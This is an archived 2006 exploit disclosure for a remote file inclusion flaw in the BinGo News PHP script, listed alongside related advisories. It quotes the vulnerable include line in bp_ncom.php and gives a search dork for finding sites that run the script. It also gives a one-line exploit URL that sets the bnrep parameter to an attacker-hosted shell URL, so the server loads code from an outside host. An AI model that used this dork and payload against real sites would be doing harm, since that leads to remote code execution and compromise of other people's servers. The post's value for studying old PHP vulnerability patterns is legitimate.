Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Akarru v0.4.3.34 - Remote File Include Vulnerabilities

Shadow Prémod <= 2.7.1 [phpbb_root_path] Remote File Include Vulnerability

[SA21779] Drupal Pathauto Module Cross-Site Scripting Vulnerability

ACGV News <= v0.9.1 (PathNews) Remote File Inclusion Exploit

From:	SHiKaA-_(at)_hotmail.com <SHiKaA-_(at)_hotmail.com>
Date:	06.09.2006
Subject:	BinGo News <= v3.01 (bnrep) Remote File Inclusion Exploit

#================================================================================
==============
#BinGo News <= v3.01 (bnrep) Remote File Inclusion Exploit
#================================================================================
===============
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://bingophp.free.fr/BinGoPHPnewslast_full.zip       
#                                                                       
#Version : v3.01                                             
#                                                         
#================================================================================
================
#
#Dork : ""Script réalisé par BinGo PHP""
#
#================================================================================
================
#Bug in : bp_ncom.php
#
#Vlu Code :
#--------------------------------
#      include $bnrep."bn_configs.php";
#
#================================================================================
================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/bp_ncom.php?bnrep=http://SHELLURL.COM?
#
#================================================================================
================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
=================================================================================
=================